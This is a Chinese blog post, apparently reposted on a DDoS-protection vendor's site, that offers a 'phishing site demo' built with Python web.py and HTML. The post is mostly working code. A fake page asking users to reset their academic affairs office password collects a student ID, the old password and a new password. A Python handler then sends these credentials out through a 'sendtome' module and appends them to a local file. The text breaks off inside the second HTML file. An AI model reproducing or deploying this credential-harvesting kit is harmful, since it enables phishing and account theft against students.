服务器安全防护_高防云服务器_无限

#1钓鱼网站De mo
钓鱼网站使用python+html写的简单的De mo(不吹不黑一个真真正正的Demo),用的Python中的web. py,恩,web. py的作者自杀了。为什么我会这么想?没安装的同学 可以尝试 安装一下下。Ok,长话短说,钓鱼的De mo有两个文件,一个是html,另一个是python的。下面就开始贴代码。
Python的代码:
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
import web
import sendtome
urls = (
'/find','find',
'/(.*)', 'index'
)
app = web.application(urls, globals())
render=web.template.render("temp")
class index:
def GET(self, name):
return render.pwd()
class find:
def POST(self):
con=web.input()
#sendtome.send(con['num'],con["Bpwd"],con["Npwd"])
sendtome.send(con['num'].encode('gbk'),con["Bpwd"].encode('gbk'),con["Npwd"].encode('gbk'))
f=open('diaoyu.txt','a')
f.write("\n"+con['num']+"&"+con["Bpwd"]+"&"+con["Npwd"])
f.close()
return render.find()
if __name__ == "__main__":
app.run()
就在刚刚Ctrl+A 又按了DEl 只智障了!
html代码:pwd.html
[HTML] 纯文本查看 复制代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>密码重置</title>
</head>
<body>
<div></div>
<h2 align="center">为了您的账户安全重置您的教务处密码</h2>
<div align="center">
<form action="/find" method="post">
<table>
<tr><td>学号:</td><td><input type="text" name="num"/></td></tr>
<tr><td>原密码:</td><td><input type="password" name="Bpwd"/></td></tr>
<tr><td>新密码:</td><td><input type="password" name="Npwd"/></td></tr>
<tr><td></td><td><input type="submit" value="确定修改密码"/></td></tr>
</table>
</form>
</div>
</body>
</html>
find.html
[HTML] 纯文本查看 复制代码
<!DOCTYPE html>
<html>
<head>
版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://www.ddosgb.com/web/55.html